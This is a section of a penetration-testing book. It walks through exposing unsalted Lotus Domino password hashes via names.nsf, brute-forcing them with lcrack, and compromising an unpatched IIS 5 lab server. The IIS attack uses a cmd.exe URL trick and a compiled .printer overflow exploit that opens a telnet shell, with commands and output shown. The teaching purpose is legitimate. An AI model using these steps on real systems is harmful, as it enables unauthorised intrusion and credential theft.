Manual Examples

Manual Examples

The manual examples you run through here will give you a solid idea of the process a potential attacker could follow in strategically attacking your hosts. So you must start thinking like an attacker. The reason these examples are labeled as manual is that there are no automated tools in use.

Figure: Domino WebMail

The first example is a review of a real-world case study I encountered with a large international corporation. This job took place while I was writing this book and I felt it was a phenomenal case study to review with you. Please bear in mind that this is a real company and for obvious reasons I have heavily blurred out all relevant information from the screenshots included.

This example brings together many disparate elements to ultimately give you an exposure of data the client needs to know about and ultimately remediate. You will see the use of whitebox elements, exploit research, a standard web browser, free software, and some knowledge all coupled together to exploit this organization’s Domino WebMail application. The whitebox elements were as follows:

  1. Information establishing the fact that the target was a Domino-based WebMail application.

  2. The FQDN for the target system.

  3. Credentials for a user account to be used during the penetration test. This account had no special or escalated privileges and was an actual clone of a regular existing Lotus Notes user.

  4. The password policy in place called for a minimum of 8 characters, maximum of 12. Case sensitivity for alphabetic characters was also enforced, with the option for using numeric and special characters supported. Forced password changes took place every 60 days.

Reproducible Work 

One of the critical elements to remember when performing these pen testing techniques is that at some point after you have completed your work you will likely have to walk others through the steps to reproduce discovered issues. Hence, it is imperative that you are able to reproduce the work and diligently document the specifics. The steps toward a successful breach must be reproducible and provable to an educated client.

In particular, HTTP Requests and Responses need to be captured and documented upon a successful discovery. If the HTTP Request/Response realm is not the key, then diligently document each step performed toward a breach. This is hard evidence and proof of susceptibility. Stick to the technical facts.

Equipped with those elements of data I went off to research Lotus Domino-based vulnerabilities. A very quick search using Google’s search engine ( for all of you who have been locked in a basement with no Internet access) gave me some results I had to peruse through. The terms I used were simply “Lotus disclosure” and some of the results can be seen in Figure.

Image from book

The very first result looked quite relevant. Clicking into it I encountered a site that gave me some very interesting information about an information-disclosure vulnerability in the names.nsf file. This site also clearly tells me that the two latest versions of Domino (at the time of this writing) are affected if they have not been hardened. This can all be seen in Figure.

Image from book

So I have a really good lead so far but I need to verify this via other web sources before I go try it. Figure was also part of the original Google search resultset. This site talks about some information disclosure of password hashes and gives me some field or attribute names to make note of.

Image from book

Figure, from the original Google search, provides further verification of the existence of this vulnerability. It also establishes the fact that at the time of that write up there was still no solution from the vendor. So this makes for a worthwhile exploit. This example focuses on the hunt for data that is needlessly being exposed, even though if you read carefully there are other exploits as well. I mention that other information because it is the kind of data you always need to be on the lookout for.

Image from book

The site visited in Figure makes mention of some type of revelation with the “HTTPPassword” field. Now it does not take a brain surgeon to realize that this field is something you will want to investigate, so make a note of its name. The actual field name is a total giveaway. Granted, there is always the possibility that the field is named as such but contains no critical information, which would be done as a disinformation technique to send an attacker on a wild goose chase. But programmers tend to name data fields in some legitimate and relevant manner so future programmers won’t go nuts with field name mappings or cryptic naming schemes. They also do this because they know they may have to revisit this same code some years down the line and they want to easily remember field and variable roles based on their names. IBM and Lotus developers will prove to be no exception and this field will indeed prove to be critical for your pen testing endeavor.

Figure reveals that names.nsf is readable by default and that I may want to view some HTML source for interesting data. So I log in to my target WebMail application as the non-privileged user I am using to test with. I am doing this over the public Internet so as to show my client that this vulnerability can be real from inside or outside their network/firewall/security infrastructure. Once I am logged in I see that after all of the redirects and whatever else the Domino HTTP server does, the URL in the browser is in the following form:

I am after names.nsf so now that I am logged in I have to find it. Then I have to see if it is indeed world readable, or readable by any user object successfully logged in. I try the following:

and get the following in response:

Error 404
HTTP Web Server: Lotus Notes Exception - File does not exist

So I need to hunt this file down. In this case I went back one directory to the web root and got lucky because there it was, and lo and behold it was world readable! So now I play (with a sinister smile).

You should already have the target’s resources enumerated. If for some reason you have not hit the mark finding the target file, any of the file enumeration tools you have seen in this book could have checked its existence it for you. Nikto or Wikto would have certainly found it. And you could always use one of the enumeration scripts that were provided as part of this book in Chapter 3.

Figure shows what I saw when names.nsf was given to me via a browser. Wow! Every user object in their DB was in there and they were even kind enough to give me a search text box (top right).

Image from book

Turns out that everyone in the names.nsf address book DB is indeed listed, and so clicking into any object gave me a screen just like Figure outlining the information the relevant administrator wanted to let me see (or so she thought). At a superficial glance, the “Internet password” field shows no data but I do recall those vulnerability sites talking about viewing HTML source and some attribute, or field, called HTTPPassword.

Image from book

Trying to view source through my browser (see Figure) proved fruitless because the application sends data back to the browser via an HTML frameset. Instincts tell me I want to stick to the Basics tab of the application because that is where the “Internet password” attribute is listed with no data. I copy the link for this basics section to make that HTML page viewable to me outside the frameset. In a new tab (in my Firefox browser) I paste that link as the URL and I get the page I want outside the frameset. Viewing source on this page is possible and doing that gives me a goldmine of data.

Image from book

Figure shows the snippet of the data I am after but there is a lot more. It turns out that the developers over in the IBM Lotus camp practiced security by obscurity with this version of WebMail. While the “Internet password” field showed no data to the naked eye via the browser, the HTML source has all the relevant data embedded in hidden HTML input form elements. Looking at the non-blurred part of Figure you will see that the password hash is there for the taking; this is so for every user object in the resultset!

Image from book

How difficult would it have been to write a script and extract this type of data for all user objects in this DB? Or how about a script that takes that extracted data and lets you know how many hashes are exact matches of each other? The reason this is important is that salted hashes (which were covered in Chapter 2) would add a layer of security here. The fact that the data is not salted means I could potentially enumerate how many users have the exact same password, and that means the target password string would not be something personal to any one person, but something public. These are not impossible tasks, but neither of those was the challenge so I move on.

I have my data exposure and I will focus on one hash for now. The objective from this point forth would be to try to crack that hash, considering the client’s password policy, via a collision attack. My ultimate goal is not to show off for the client — I have to educate them about this exposure and make them understand the level of risk associated with this exposure. The final level of risk will be based on the password policy at hand, the strength of the password used (what ends up in the hash), and whether or not I can crack it in a timely fashion. The acceptance of the risk at hand is entirely up to the client.

Speak to anyone who works with this commercial product and they will tell you that Lotus Domino is known for strong proprietary encryption. Researching this actually revealed that it is possible to implement strong encryption but that there are alternative options with the product to operate in quasi-secure fashions (which are unfortunately easier to implement — you can pretty much guess what the norm is out there). A presentation at a BlackHat conference ( in the EU by the folks over at Trust Factory ( revealed some interesting information that became key for me to assess the level of risk this newly discovered exposure represented to my client. Figure is one of the very enlightening slides from that presentation. The slide speaks for itself and I now have to find a way of attacking this unsalted password hash very graciously provided to me by Domino WebMail.

Image from book

Going back to searching on the Internet, two free tools made themselves the clear choices for attacking these Domino hashes. These two products are (in no particular order):

They each have their strengths and weaknesses, even though Bernardo Reino and Miguel Dilaj’s lcrack (now maintained by Piero Brunati) is a product that is much wider than just Domino hash cracking in scope. Now, based on the whitebox knowledge you already have about the corporate password policy, and what you have already seen in terms of the challenges of password cracking, you should realize that a dictionary attack would be useless. A brute-force attack is your best bet and even that will be challenging based on the amount of data that will have to be processed. Take a look at some numbers here. Firing up the lcrack tool from within Linux you will see the following:

./lcrack -v -m dom -xb+ -s " -~" -l 8-12 -o result.txt hash.txt
xtn: initialized (domino HTTP hash) module
loaded: CSET[95] = {
   !"#$%&'()*+,-./0123456789:;<=>[email protected]
loaded: LSET[5] = { 8 9 10 11 12 }
dbg: loading 'hash.txt'
mode: null password, loaded 2 passwords
mode: incremental, loaded 2 passwords
Length = 8, Total = 6634204312890625

Think about this, based on the password policy at hand you, or the typical attacker, would be brute-forcing for collisions against a total of 6,634,204,312,890,625 possibilities for each hash gathered. Now, on a dual Xeon-based computer there are 427,916 possibilities attempted per second. That basically equates to 15,503,520,113 seconds necessary to go through the entire data set of possibilities. Putting aside leap years, there are 31,536,000 seconds in a year and so it seems I would need about 491 years to crack one of these hashes in the worst-case scenario! So I think they are safe for now even though data is needlessly exposed.

I know this example may seem like I am bashing a particular product but I am in no way doing this. What I am doing is giving you an eye-opening scenario of what it is like performing these types of audits in the real world. There are other methods of attacking that same Domino hash, but the case study as presented here should get the educational aspect across. This really is a journey of discovery and it is critical to exercise tremendous patience when pen testing; it sometimes seems like you are reaching in the dark blindfolded. But the vulnerabilities are out there, like hidden puzzles, waiting for someone to spend the time to figure him or her out. I want you to see how you can start with very little information and through great diligence and perseverance develop that little foundation into something grand and beneficial to your client.

Figure: IIS

This mock example emulates a situation where you have identified an IIS target via any one of the methods you should now be familiar with. You will go exploit hunting first using Guninski’s site and then milw0rm. Your target is an unpatched IIS Win2K server in my personal lab. These exploits have been used against IIS servers for some time now and it still amazes me how many of these exploitable servers are out there in production roles today. Figure shows the Win2K section from Guninski’s site. You can pretty much pick and choose exploits here based on your knowledge of the target host. For this example choose the one entitled “IIS 5.0 with patch Q277873 allows executing arbitrary commands on the web server,” because it sounds interesting.

Image from book

Clicking into the exploit (see Figure) you want to pursue reveals that it is a browser-based exploit (although you could write a script for it if you wanted to). You will do this one via the browser. Figure shows you Guninski’s research. It is an HTTP-based call you want to send to the server.

Image from book

Now, executing the first URL example from this exploit in a Microsoft IE browser conveniently gives you the results shown in Figure.

Image from book

What you see in Figure should seriously disturb you if you have any inkling about information security. You just ran a dir c:\ from a remote browser and got the server to give you the results! Also take note that there is no file called whatever.bat and you utilized a system executable, cmd.exe.

The revelations made in the previous step could potentially take you in many directions. Where you go depends on your creativity and your objectives. Figure shows one potential direction where you want to take inventory of the system-level files under the “WINNT” directory. You accomplish this by adding “WINNT\” to the end of the URL because you know that you get a directory listing of what is in that position of the URL. One potential direction could be messing with executables other than “dir.” Another potential direction would be actually viewing files based on the exposed directory listings. If you recall in Figure there was mention of a URL-based way of looking at actual file contents.

Image from book

Regardless where you take this, the exploit was successful. So that you start seeing how important your repertoire of tools is, and so that you start truly understanding that all browsers are not created equal, request the same exploit URL as in Figure in Firefox. For clarity sake the URL is

What you see in Figure is what you will see when you make this exact same request from the Firefox browser. The executable that gets downloaded only leads to an exception in Windows. The point to take away is that your toolset will be critical and different browsers will handle data and processes differently.

Image from book

For further practice you will now see milw0rm as a source of exploit data, and you will actually compile your own exploit program based on source code downloaded from that site. Figure shows you a section of the current response page (as of this writing) for the milw0rm site.

Image from book

There is up-to-date data there, but you are interested in searching— so run a search by clicking “search” in the top navigation section. Use “IIS” as the search criteria for this example and you should get something resembling Figure.

Image from book

Before this goes any further you need to see a netstat output for the target Win2K server as well as a remote nmap port scan. Figure shows you this output from a VMware-based Win2K instance. This is followed by the nmap run. You will revisit this port data if your next exploit is successful.

Image from book
nmap -sS -O -p 1-65535 -PI -PT

Starting nmap 3.81 ( ) at 2005-09-12 13:34 EDT
Interesting ports on
(The 65521 ports scanned but not shown below are in state: closed)
21/tcp   open  ftp
25/tcp   open  smtp
80/tcp   open  http
119/tcp  open  nntp
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
443/tcp  open  https
445/tcp  open  microsoft-ds
563/tcp  open  snews
1025/tcp open  NFS-or-IIS
1026/tcp open  LSA-or-nterm
1030/tcp open  iad1
3372/tcp open  msdtc
4415/tcp open  unknown
MAC Address: 00:0C:29:34:82:BD (VMware)
Device type: general purpose
Running: Microsoft Windows 95/98/ME|NT/2K/XP
OS details: Microsoft Windows Millennium Edition (Me), Windows 2000 Pro or Advanced
Server, or Windows XP

Nmap finished: 1 IP address (1 host up) scanned in 38.983 seconds

Focus back to the milw0rm IIS search results. For this example you will see an IIS-based exploit via the usage of a “remote .printer overflow exploit.” Simply clicking the relevant link of the exploit code you would like to see opens up a new browser window with the relevant exploit source code. From that stage you can do either of the following with equal success:

  • Locally save the page from your browser while paying attention to the filename and extension. Typically these files are either of extension .c (for C source code) or .pl (for Perl source code).

  • Copy and paste the code right from the browser into a local file. Again pay attention to the filename and extension.

Depending on your OS of choice, the extension may or may not matter. Either way you want to clearly handle the file content in a way that will not confuse you, or anyone else, in six months or so when you need to revisit this code. The goal is to get that source saved locally on your machine. The reason for this is that you will be looking at the source code downloaded, compiling it (if necessary), and then running it. For the purposes of demonstration this is done in Linux.

The exploit you are pursuing is specific to IIS 5 and is written in C. You know your target is running IIS 5 so you are on the right track. Once you have the source code in a file, you will have to look through the source code. Now don’t freak out if you are not a C guru, most attackers out there are not. As a matter of fact the folks that typically write these exploit programs would most likely not use them maliciously. An attacker may not necessarily know C, but she will know what to look for within the program’s source code. For this example the exploit usage function is as follows:

void usage(char *pgm)
   printf("Usage: %s <hostname> [iis port] [bind port] [service pack]\n", pgm);
   printf("    hostname  -- the host you want to attack\n");
   printf("    iis port  -- the port IIS listened(default is 80)\n");
   printf("    bind port -- the port you want to connect if succeed(default is
   printf("    service pack  -- SP remote host installed(0 or 1, default is 0)\n");
   printf("example: %s 80 2345 0\n", pgm);

If you analyze this carefully you will notice that a successful exploit is dependent on the Windows Service pack installed on the IIS server. This particular example will only work against servers with either Service Pack 0 or 1. Now go verify that your target meets this criterion before you continue. If you recall back in Chapter 5 you were exposed to a handy program called “404Print.” This will give you the answer to the service pack question. On my Linux machine, in a standard Bash shell, a run looks like this:

HTTP/1.1 404 Object Not Found
Server: Microsoft-IIS/5.0
Date: Mon, 12 Sep 2005 13:37:32 GMT
Content-Length: 3243
Content-Type: text/html

<html dir=ltr>

a:link                  {font:8pt/11pt verdana; color:FF0000}
a:visited               {fontGET /DDI-BLAH.FOO HTTP/1.0

Server: Microsoft-IIS/5.0
No Service Pack

Now you know that there is no service pack applied to this IIS host so it should fall prey to this remote printer exploit with the service pack parameter set to 0. Now you have to compile the source code so that a runnable program is made available to you. Go to the directory where you stored the file with the C source code. For this example the source code was saved to file called iisx.c and the executable is called printoverflow (you can name it whatever you like). Using gcc ( compile the source into the executable as follows:

gcc -o printoverflow iisx.c

The -o switch very simply establishes the output of the compilation and linking processes. In this case it is followed by the resource to compile. If you run an ls -las in that directory you will notice that the output file printoverflow is already executable:

ls -las
total 56
 4 drwxrwxr-x   2 xxx xxx  4096 Sep 12 08:51 .
 4 drwxrwxr-x  11 xxx xxx  4096 Sep 12 08:50 ..
12 -rw-r--r--1 xxx xxx  9920 Sep 12 08:50 iisx.c
12 -rwxrwxr-x   1 xxx xxx  8499 Sep 12 08:51 printoverflow

Run the exploit program to attack this host and verify its status as vulnerable or not:

./printoverflow 80
iis5 remote .printer overflow exploit
      by isno <[email protected]>

code sented...
you may telnet 7788

Because this particular server is in the lab you can take a closer look and see if anything did get through. You can use nmap to port scan the host quickly to see if it is listening on anything new and interesting:

nmap -sS -O -p 1-65535 -PI -PT

Starting nmap 3.81 ( ) at 2005-09-12 13:18 EDT
Interesting ports on
(The 65519 ports scanned but not shown below are in state: closed)
21/tcp    open  ftp
25/tcp    open  smtp
80/tcp    open  http
119/tcp   open  nntp
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
445/tcp   open  microsoft-ds
563/tcp   open  snews
1025/tcp  open  NFS-or-IIS
1026/tcp  open  LSA-or-nterm
1029/tcp  open  ms-lsa
3372/tcp  open  msdtc
4415/tcp  open  unknown
7788/tcp open  unknown
MAC Address: 00:0C:29:34:82:BD (VMware)
Device type: general purpose
Running: Microsoft Windows 95/98/ME|NT/2K/XP
OS details: Microsoft Windows Millennium Edition (Me), Windows 2000 Pro or Advanced
Server, or Windows XP, Microsoft Windows XP SP1

Nmap finished: 1 IP address (1 host up) scanned in 38.080 seconds

Figure is a netstat of the same IIS server after the exploit run. You should see a clear difference between the output in Figure and the output back in Figure. You should also see the same difference in analyzing the two nmap runs, one before the exploit run and the one after. There is now a process listening on TCP port 7788 as expected; this is the default port used by the exploit program.

Image from book

That listener (port 7788) was not there before the exploit code was sent to the server, so run telnet to that port and voila! Windows system-level data is now being sent to your shell:

telnet 7788
Connected to
Escape character is '^]'.
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

 Volume in drive C has no label.
 Volume Serial Number is DCBB-7A30

 Directory of C:\WINNT\system32

09/11/2005  10:30p      <DIR>          .
09/11/2005  10:30p      <DIR>          ..
09/09/2005  06:23p                 304 $winnt$.inf
09/09/2005  06:26p               2,960 $WINNT$.PNF
12/07/1999  08:00a               2,151 12520437.cpx
12/07/1999  08:00a               2,233 12520850.cpx
12/07/1999  08:00a              32,016 aaaamon.dll
12/07/1999  08:00a              67,344 access.cpl
12/07/1999  08:00a              28,432 xcopy.exe
12/07/1999  08:00a             110,664 xenroll.dll
12/07/1999  08:00a             641,808 xiffr3_0.dll
12/07/1999  08:00a              17,680 xolehlp.dll
            1718 File(s)    225,083,316 bytes
              31 Dir(s)   7,174,258,688 bytes free


Keep things in perspective now, in this example you are running a remote bash shell on a Linux machine and having a Windows server respond to your commands just as if you were running cme.exe locally on it. The sky’s the limit now; you can go to town on this compromised host in order to show those interested that there are serious exposures within their infrastructure. As an example of digging in, simply run a directory listing to see what executables are there and available to a potential attacker:

C:\WINNT\system32>dir *.exe
dir *.exe
 Volume in drive C has no label.
 Volume Serial Number is DCBB-7A30

 Directory of C:\WINNT\system32

12/07/1999  08:00a             150,800 accwiz.exe
12/07/1999  08:00a              17,168 acsetups.exe
12/07/1999  08:00a              26,384 actmovie.exe
12/07/1999  08:00a              12,498 append.exe
12/07/1999  08:00a              19,728 arp.exe
12/07/1999  08:00a              23,824 at.exe
12/07/1999  08:00a              11,024 atmadm.exe
12/07/1999  08:00a              12,048 attrib.exe
12/07/1999  08:00a             558,864 autochk.exe
12/07/1999  08:00a              10,368 wowexec.exe
12/07/1999  08:00a              29,456 wpnpinst.exe
12/07/1999  08:00a               6,416 write.exe
12/07/1999  08:00a              90,162 wscript.exe
12/07/1999  08:00a              47,376 wupdmgr.exe
12/07/1999  08:00a              28,432 xcopy.exe
             307 File(s)     24,484,381 bytes
               0 Dir(s)   7,174,258,688 bytes free

This was a successful breach, using a known exploit, against an unpatched Windows system. They won’t all be that easy but you should at least now have an idea of what a successful pen test known exploit–based breach is like. Take note for the documentation phase later that the actual statement that spawns off the shellcode for this successful exploit looks like this (and yes, there is some binary data in there, it is the way shellcodes work):

?????????????????????hhhh HTTP/1.0

The exploit program that you just compiled and ran did its black magic in the background. As any real programmer will tell you, we don’t like black magic. You need to at least see what just took place in the background. The preceding GET statement was printed to standard out by adding one strategic line of C code to the exploit source code. What you need to do is find the point in the exploit program where the actual HTTP request is sent over the socket to the server and output it for the sake of your understanding and documentation. In this particular program you will find the following snippet of C code:

if(send(s, request, strlen(request), 0) == -1)
   printf("Unable to send\n");
   printf("code sented...\n");
   printf("you may telnet %s %s\n", argv[1], argc>3?argv[3]:"7788");

In any publicly available socket programming tutorial you will learn that the send() function allows your program to write data to an established socket. Therefore, right above that line you know that the request variable has a complete set of exploit data. An output statement is in order and in C you can do this relatively easily with the printf function. Right above the if conditional statement, add the following line:

printf("Request\n%s\n\n", request);

Save the new .c file and then recompile using the same gcc statement as before. After that run the program once again and you will get the GET http://... statement output just listed. There is no response from the server here because it is an overflow and an injection of code. So don’t worry about documenting a response, there is none. Here you would focus on documenting if you could maliciously take advantage of what was just done.

That is enough manual work for now. The exploit realm has now been taken to another level and you need to be exposed to it. This phenomenon is openly taking place thanks to the folks over at MetaSploit. They have streamlined some of the processes you have just seen performed manually, especially those like in Figure.

Previous Section
Next Section

 Python   SQL   Java   php   Perl 
 game development   web development   internet   *nix   graphics   hardware 
 telecommunications   C++ 
 Flash   Active Directory   Windows